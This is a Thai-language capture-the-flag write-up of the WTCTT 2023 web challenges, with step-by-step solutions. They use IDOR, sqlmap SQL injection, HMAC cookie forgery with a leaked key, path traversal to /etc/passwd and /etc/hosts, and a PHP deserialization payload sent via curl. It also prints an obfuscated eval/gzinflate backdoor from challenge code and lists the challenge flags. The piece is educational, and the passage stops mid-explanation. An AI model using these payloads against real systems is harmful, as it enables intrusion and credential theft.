WTCTT 2023 รอบคัดเลือก : Web Challenges
| write by Ar3mus

สวัสดีคร้าบทุกคน สำหรับบล็อกนี้ผมจะมาเขียน write up สำหรับงาน WTCTT 2023 หรือ Women Thailand Cyber Top Talent 2023 นะครับ แต่ผมไม่ได้เป็นผู้เข้าแข่งขันนะครับ 555 ทางผู้ออกโจทย์ได้ปล่อยโจทย์ให้บุคคลภายนอกเข้ามาเล่นหลังจบการแข่งขันรอบคัดเลือกได้ครับ ขอบคุณมากครับพี่ :)

flag format : WTCTT2023_WEB01{[a-z0-9]{32}}

Ar3mus : สำหรับผมแนวทางปฎิบัติในการทดสอบเว็บ ผมขออ้างอิงจาก Web Application Penetration Testing Steps นะครับ จาก purplesec ครับ แต่ในเรื่องของ CTF ผมขอยกมาแค่ Step ที่ 1 ถึง 3 นะครับ
src : Web Application Penetration Testing: Steps, Methods, & Tools | PurpleSec
Web 1 - Account Takeover
TARGET : SDH Bank | WTCTT 2023 - Web Challenge 1 (p7z.pw)

Ar3mus : เริ่มกันที่ขั้นตอนแรกครับ Information Gathering

Ar3mus : เราจะทำการ Enumerate ข้อมูลเว็บไซต์เบื้องต้นครับ โดยดูที่ Source Code

## DEVELOPER NOTE
### Test User Account
- Username: testuser1
- Password: testuser1
Ar3mus : หลังจากที่เราดู Source Code จะเห็นว่าเราเจอ Developer note ทิ้งไว้เป็น comment ครับ

Ar3mus : ที่นี้เรามาลอง Login จากข้อมูล user password ที่ได้มาครับ

Ar3mus : พอเรา Login ได้สำเร็จก็จะพบกับข้อความว่า
You do not have administrator privilege. Become an administrator to get a flag.
Ar3mus : ไม่มีสิทธิ์ administrator เลยไม่สามารถ get flag ได้

Ar3mus : ต่อมาในขั้นตอนที่สองครับ Research & Exploitation

Ar3mus : โดยถ้าเรามาสังเกตในส่วนของ URL จะเห็นว่า Website มีการ query ข้อมูล user_id=1
ซึ่งเราสามารถใช้ ท่า IDOR (Insecure Direct Object Reference) ในการโจมตีได้ครับ โดยเราสามารถเปลี่ยนตัวเลข ตรง user_id ครับ


Ar3mus : สวัสดีครับพี่ longcat :P



Ar3mus : ที่นี้เราก็มาเจอกับ user : secret_admin เเล้ว
Your session is not correct.
Ar3mus : จะเห็นว่า session ไม่ถูกต้องดังนั้นเราลองมาดูในส่วนของ Storage กันครับ ให้ไปที่ Inspect > Storage

Ar3mus : session ยังเป็น testuser1 อยู่

Ar3mus : ให้เราทำการเปลี่ยนเป็น secret_admin

Ar3mus : You got the flag!!!
WTCTT2023_WEB01{0216b464c609eb0b6b461c3625ab7b08}

Ar3mus : ผมขอเสริมในขั้นตอนที่สามนะครับ Reporting & Recommendations จากที่เราได้ทำการทดสอบมาสรุปช่องโหว่ที่เราเจอมีดังต่อไปนี้ครับ
Reporting
A01:2021 – Broken Access Control
- Insecure direct object references (IDOR)
Recommendations


src :
A01 Broken Access Control - OWASP Top 10:2021
Insecure direct object references (IDOR) | Web Security Academy (portswigger.net)
Best practices to prevent IDOR vulnerabilities - Avatao
Web 2 - SQLi then HMAC
TARGET : SDH Bank | WTCTT 2023 - Web Challenge 2 (p7z.pw)

Ar3mus : เริ่มกันที่ขั้นตอนแรกครับ Information Gathering

Ar3mus : หลังจากที่ผมทำการ Enumerate ข้อมูลเว็บไซต์เบื้องต้นครับ โดยดูที่ Source Code

Ar3mus : เราจะเจอกับ Comment
<!-- SQLMap my 'app_session' cookie (before :). -->

Ar3mus : ต่อมาในขั้นตอนที่สองครับ Research & Exploitation

Ar3mus : ให้เราลองมาดูในส่วนของ Storage กันครับ ให้ไปที่ Inspect > Storage ครับ

Ar3mus : เเล้วทำการเปลี่ยน Value เป็น admin%3Ainvalid ครับ

Ar3mus : จากนั้นถ้าเรามาดูหน้า home ก็จะเห็น Error
Error: HMAC-SHA256 signature is not correct.
Ar3mus : โดยถ้าเรามาวิเคราะห์ ในส่วนของ comment เหมือนว่าเราต้องใช้ เครื่องมือ sqlmap ในส่วนของ cookie ที่ชื่อว่า app_session ครับ
<!-- SQLMap my 'app_session' cookie (before :). -->

sqlmap -u 'http://web.wtctt2023.p7z.pw:8002/' --cookie='app_session=*' --all




Database: <current>
Table: members
[2 entries]
+---------+---------------------------------------------+-------------------+
| user_id | password | username |
+---------+---------------------------------------------+-------------------+
| 1 | 008c5926ca861023c1d2a36653fd88e2 (whatever) | testuser |
| 2 | b5d579d5020e1b30690aef479df6f917 | unguessable_admin |
+---------+---------------------------------------------+-------------------+
Ar3mus : จะเห็นว่า password ของ user : unguessable_admin ไม่สามารถ crack hash md5 ได้ครับ


Ar3mus : หลังจากที่เราล็อคอินโดยใช้ user : testuser เราจะได้ไฟล์ functions.php มาครับ
<?php
# init db
$databaseFile = 'database.sqlite';
if (!file_exists($databaseFile)) {
try {
// Create (connect to) a read-only connection to SQLite database in file
$database = new PDO('sqlite:' . $databaseFile );
// Set errormode to exceptions
$database->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
// Create the 'members' table
$createQuery = "CREATE TABLE IF NOT EXISTS members (
user_id INTEGER PRIMARY KEY,
username TEXT NOT NULL,
password TEXT NOT NULL
)";
$database->exec($createQuery);
$insertQuery = "INSERT INTO members (username, password) VALUES (?, ?)";
$statement = $database->prepare($insertQuery);
$passwords = [
'whatever',
getenv('ADMIN_PASSWORD')
];
$statement->execute(['testuser', md5($passwords[0])]);
$statement->execute(['unguessable_admin', md5($passwords[1])]);
$database = null;
} catch (PDOException $e) {
setcookie('error', $e->getMessage(), 0, '/'); // Set cookie
}
}
// read-only
$database = new PDO('sqlite:' . $databaseFile, null, null, [PDO::SQLITE_ATTR_OPEN_FLAGS => PDO::SQLITE_OPEN_READONLY]);
$database->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
$secretKey = base64_decode('ZjcwODRiOGM0MDMzNTI5MWQxMWYwMTEzY2RmNDhlNmM=');
// Function to create a HMAC signature
function createHmacSignature($username) {
global $secretKey;
return hash_hmac('sha256', $username, $secretKey);
}
if(!isset($_COOKIE['app_session'])){
$cookieValue = 'guest' . ':invalid' ;
setcookie('app_session', $cookieValue, 0, '/'); // Set cookie
}
// Function to validate the session
function isSessionValid() {
global $database;
global $secretKey;
if (isset($_COOKIE['app_session'])) {
list($username, $cookieHmac) = explode(':', $_COOKIE['app_session']);
// Prepare a statement for getting user data
try {
// Check if user exists in the database
$sql = "SELECT * FROM members WHERE username = '".$username."'";
$stmt = $database->prepare($sql);
$stmt->execute();
$user = $stmt->fetch(PDO::FETCH_ASSOC);
if($user !== false){
$calculatedHmac = createHmacSignature($username, $secretKey);
// Check if the HMAC is valid
if (hash_equals($calculatedHmac, $cookieHmac)) {
return true;
}
echo '<!-- Debug1: '.$user['username'].' -->';
}
return false;
} catch (PDOException $e) {
// Handle the database error, e.g., log it or echo an error message
echo '<!-- Debug2: '.$e->getMessage().' -->';
return false; // Return false in case of a database error
}
}
return false;
}
// Login Function
function login($username, $password) {
// Prepare a statement for getting user data
global $database;
global $secretKey;
$stmt = $database->prepare("SELECT * FROM members WHERE username = ?");
$stmt->execute([$username]);
$user = $stmt->fetch(PDO::FETCH_ASSOC);
if ($user && md5($password) === $user['password']) {
// Correct credentials, create HMAC signature
$hmac = createHmacSignature($username, $secretKey);
$cookieValue = $username . ':' . $hmac;
setcookie('app_session', $cookieValue, 0, '/'); // Set cookie
header("Location: /index.php");
exit();
}
setcookie('error', 'Username or Password is not correct.', 0, '/'); // Set cookie
header("Location: /login.php?error=cred_invalid");
exit();
}
// Logout Function
function logout() {
if (isset($_COOKIE['app_session'])) {
// Expire the cookie by setting its expiration time in the past
setcookie('app_session', '', time() - 3600, '/');
unset($_COOKIE['app_session']);
}
header("Location: /index.php");
exit();
}
?>
Ar3mus : จากที่เราอ่าน code มาจะเห็นส่วนที่น่าสนใจครับ
$secretKey = base64_decode('ZjcwODRiOGM0MDMzNTI5MWQxMWYwMTEzY2RmNDhlNmM=');
// Function to create a HMAC signature
function createHmacSignature($username) {
global $secretKey;
return hash_hmac('sha256', $username, $secretKey);
}
if(!isset($_COOKIE['app_session'])){
$cookieValue = 'guest' . ':invalid' ;
setcookie('app_session', $cookieValue, 0, '/'); // Set cookie
}
Ar3mus : เห็นมั้ย ครับว่าในตอนที่เราไปเปลี่ยน app_session จะขึ้น error ว่า HMAC-SHA256 signature is not correct. นั้นเเสดงว่าเราจะต้องใส่ค่า $cookieValue ไม่ถูกต้องครับ โดยถ้าเราต้องการใส่ $cookieValue ให้ถูกต้องจะประกอบไปด้วย
user : hash HMAC-SHA256 signature

Ar3mus : นำ $secretKey ไป decode ครับ

src : Free HMAC-SHA256 Online Generator Tool | Devglan
Ar3mus : จากนั้นทำการสร้าง HMAC-SHA256 signature hash ขึ้นมาครับ เเล้วไปประกอบร่าง
unguessable_admin%3A07000af0ce9f6230e5c72ba90474a2a2405da06e65f0fb5bed92c411c6e0ff3a


Ar3mus : You got the flag!!
WTCTT2023_WEB02{8e35d3ff06c0869b959d76e8a7c479e1}

Ar3mus : เรามาสรุปกันครับในขั้นตอนที่สามนะครับ Reporting & Recommendations จากที่เราได้ทำการทดสอบมาสรุปช่องโหว่ที่เราเจอมีดังต่อไปนี้ครับ
Reporting
A03:2021 – Injection
- SQL injection (SQLi)
A02:2021 – Cryptographic Failures
src :
A03 Injection - OWASP Top 10:2021
What is SQL Injection? Tutorial & Examples | Web Security Academy (portswigger.net)
A02 Cryptographic Failures - OWASP Top 10:2021
Web 3 - Path Traversal over vHost
TARGET : http://web.wtctt2023.p7z.pw:8003/index.php?page=welcome.txt

Ar3mus : เริ่มกันที่ขั้นตอนแรกครับ Information Gathering


Ar3mus : จะสังเกตเห็นว่า ตรง URL มีการ query ข้อมูลครับ

Ar3mus : ต่อมาในขั้นตอนที่สองครับ Research & Exploitation

Ar3mus : ซึ่งถ้า Web มีการ query ข้อมูลเราสามารถใช้ท่าการโจมตี Path traversalได้ครับ โดยใช้ ../../../../../../../etc/passwd

Ar3mus : โดยจากโจทย์ได้กล่าวว่า
Read one file and it will lead you to new clues. The challenge consists of 2 vHost, but you do not need to perform vHost Fuzzing (please avoid doing it).
ดังนั้นเราสามารถเช็ค hosts ได้จากไฟล์ /etc/hosts ครับ
../../../../../../../etc/hosts


Hidden vHost URL Pattern: https://?????.chall3.wtctt2023.p7z.pw
https://adm1n.chall3.wtctt2023.p7z.pw
Ar3mus : จากนั้นให้เราทำการเพิ่ม hosts เข้าไป โดย IP Address ใช้จาก domain โจทย์ครับ

nano /etc/hosts



Ar3mus : จะเห็นว่าหลังจากที่เราสามารถเข้าถึง vhost ที่ซ้อนอยู่เราจะเห็นว่า ใน source code มีการ comment
<?php echo highlight_file("index.php"); ?>
Ar3mus : ซึ่งโดยปกติแล้ว Custom Web Server Configuration จะอยู่ที่ /var/www/vhosts/

src : Apache and nginx Web Servers (Linux) | Plesk Obsidian documentation
Ar3mus : จากนั้นให้เราทำ Path Traversal ไปที่
../../../../../../../var/www/adm1n/index.php



Ar3mus : จากพอเรามาเช็ค Source code จะผมกับ function.getHeaderValue ครับ
Ar3mus : ซึ่งจะเห็นว่า ใน class WTCTT2023 มีส่วนของ __destruct ที่จะเกี่ยวข้องกับ PHP Object Serialization ครับ





src : https://www.techsuii.com/2018/06/03/php-serialization-owasp-a82017-insecure-deserialization/
class WTCTT2023 {
function __destruct() {
echo getenv('FLAG3');
}
}
if(is_null(getHeaderValue("X-SECRET-X"))){
echo '<?php echo highlight_file("index.php"); ?>';
}else{
unserialize(base64_decode(getHeaderValue("X-SECRET-X")));
}
Ar3mus : ซึ่งเป็นช่องโหว่ Insecure Deserialization ครับ โดยเราต้องทำการ serializtion value WTCTT2023 เเล้วเข้ารหัสเป็น base64 ครับ เราสามารถนำไปเขียนเป็น script ได้ครับ
<?php
class WTCTT2023 {
function __destruct() {
echo getenv('FLAG3');
}
}
$data = new WTCTT2023();
$new = serialize($data);
echo $new;
echo "\n";
echo base64_encode($new);
?>

Ar3mus : จากนั้นนำ base64 ที่ได้ไปใส่ใน request header โดยใช้คำสั่ง curl
curl -X GET -H "X-SECRET-X: Tzo5OiJXVENUVDIwMjMiOjA6e30=" http://adm1n.chall3.wtctt2023.p7z.pw:8003/

Ar3mus : You got the flag!!!
WTCTT2023_WEB03{267ab6a6a35e734869a2f0bc37d7a9c2}

Ar3mus : เรามาสรุปกันครับในขั้นตอนที่สามนะครับ Reporting & Recommendations จากที่เราได้ทำการทดสอบมาสรุปช่องโหว่ที่เราเจอมีดังต่อไปนี้ครับ
Reporting
Path traversal
A8:2017-Insecure Deserialization
src :
What is path traversal, and how to prevent it? | Web Security Academy (portswigger.net)
Path Traversal | OWASP Foundation
OWASP Top Ten 2017 | A8:2017-Insecure Deserialization | OWASP Foundation
Web 4 - White Box Code Analysis
TARGET : http://web.wtctt2023.p7z.pw:8004/

Ar3mus : เริ่มกันที่ขั้นตอนแรกครับ Information Gathering



Ar3mus : โดยโจทย์จะให้ Source Code มาครับ ซึ่งเป็นโจทย์ที่เป็น White Box ซึ่งเรามีข้อมูลทุกอย่าง โดยให้เราอาศัยการวิเคราะห์ ข้อมูลที่เรามีอยู่ครับ
function.php
<?php
class sessionn
{
protected $user;
protected $pass;
function __construct($user, $pass)
{
$this->user = $user;
$this->pass = $pass;
}
}
function store_session($user, $pass)
{
$sess = new sessionn($user, $pass);
$data = serialize($sess);
// LongCat Ramen Eater: i don't need to store null values
// to our data center directly so i simply replace them with a ramen -> _🍜_
// whenever we need to load it back to PHP session, we can just reverse the algorithm before doing unserialize().
$data = str_replace(chr(0) . '*' . chr(0), '_🍜_', $data);
$_SESSION["username"] = $user;
$_SESSION["data"] = $data;
return uniqid('wtctt2023_04');
}
function load_sessionn()
{
$data = $_SESSION["data"];
// echo "<!-- debug\r\n".$data."\r\n\r\n";
// echo str_replace('_🍜_', chr(0) . '*' . chr(0), $data)."\r\n-->\r\n";
// reverse the algorithm: bring null values back from \0\0\0
// if we don't do this, we cannot get the sessionn object with unserialize().
return str_replace('_🍜_', chr(0) . '*' . chr(0), $data);
}
// an unknown PHP class inserted by a newly hired junior PHP developer
// it has never been called anyway. it looks harmless to me.
// i think something will be broken if i remove it.
// so i will just ignore this for now.
class Backdoor
{
function __destruct()
{
if ($this->destruct == '🍜') {
eval(gzinflate(base64_decode(strrev('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'))));
}
}
}
Ar3mus : ถ้าเรามาดูในส่วนของ class Backdoor จะเห็นในส่วนของ function __destruct() เราจะคุ้นๆว่าเป็น PHP Object Serialization ครับ
eval(gzinflate(base64_decode(strrev('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'))));
โดยสำหรับ eval(gzinflate(base64_decode(strrev เราสามารถ ย้อนกลับได้โดย

eval(gzinflate(base64_decode('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')))
Ar3mus : แล้วนำไปถอดรหัสด้วย gzinflate base64_decode decoder


src : Mobilefish.com - Online eval gzinflate base64_decode decoder
// an unknown PHP class inserted by a newly hired junior PHP developer
// it has never been called anyway. it looks harmless to me.
// i think something will be broken if i remove it.
// so i will just ignore this for now.
Ar3mus : ซึ่งทำให้เรารู้ว่า class Backdoor ไม่ได้ถูกเรียกใช้ เลย cat /flag.txt ไม่ได้ ครับ
function store_session($user, $pass)
{
$sess = new sessionn($user, $pass);
$data = serialize($sess);
// LongCat Ramen Eater: i don't need to store null values
// to our data center directly so i simply replace them with a ramen -> _🍜_
// whenever we need to load it back to PHP session, we can just reverse the algorithm before doing unserialize().
$data = str_replace(chr(0) . '*' . chr(0), '_🍜_', $data);
$_SESSION["username"] = $user;
$_SESSION["data"] = $data;
return uniqid('wtctt2023_04');
}
Ar3mus : จากนั้นถ้าเรามาดูในส่วนของ function store_session($user, $pass) จะเห็นว่ามีการ
สร้าง session เเล้วเก็บค่าเป็น serialize
// LongCat Ramen Eater: i don't need to store null values
// to our data center directly so i simply replace them with a ramen -> _🍜_
// whenever we need to load it back to PHP session, we can just reverse the algorithm before doing unserialize()
Ar3mus : ในคอมเม้นพี่ LongCat เซียนเทพกินหมี่ 😂 ได้กล่าวว่า
// เราจะไม่เก็บค่า null values ไปที่ data center โดยตรง ซึ่ง เราจะแทนที่ค่าพวกนั้นด้วย _🍜_
// เเล้วก็ ทุกครั้งที่พวกเราต้องการโหลดค่ากลับไปที่ PHP session เราสามารถ ย้อนกลับ algorithm ก่อนที่จะทำการ unserialize()
Ar3mus : ซึ่งตรงนี้หมายความว่ายังไงครับ เดียวผมจะอธิบายการทำงานเป็นส่วนๆ นะครับ
- class sessionn
class sessionn
{
protected $user;
protected $pass;
function __construct($user, $pass)
{
$this->user = $user;
$this->pass = $pass;
}
}
Ar3mus :sessionn เป็นคลาสที่มีคุณสมบัติ protected คือ $user และ $pass ซึ่งกำหนดให้ผ่านทาง __construct ของคลาส __construct แบบ Parameter-less Constructor คอนสตรัคเตอร์ที่ผู้ใช้กำหนด สามารถเรียกใช้งานฟังก์ชันต่างๆ ในคลาสผ่าน คอนสตรัคเตอร์ได้ครับ
src :
constructor ใน php คืออะไรใช้อย่างไร (mindphp.com)
- function store_session
function store_session($user, $pass)
{
$sess = new sessionn($user, $pass);
$data = serialize($sess);
$data = str_replace(chr(0) . '*' . chr(0), '_🍜_', $data);
$_SESSION["username"] = $user;
$_SESSION["data"] = $data;
return uniqid('wtctt2023_04');
}
Ar3mus : ถัดมา function store_session มีการทำงานดังนี้ครับ
สร้าง object
sessionnจาก$userและ$passที่ได้รับทำการ
serializeobject เพื่อแปลงข้อมูลเป็น strแทนที่ null values ด้วย
_🍜_เพื่อป้องกันการเก็บข้อมูล nullกำหนดค่า
$_SESSION["username"]และ$_SESSION["data"]ส่งคืนค่า uniqid ที่สร้างขึ้น
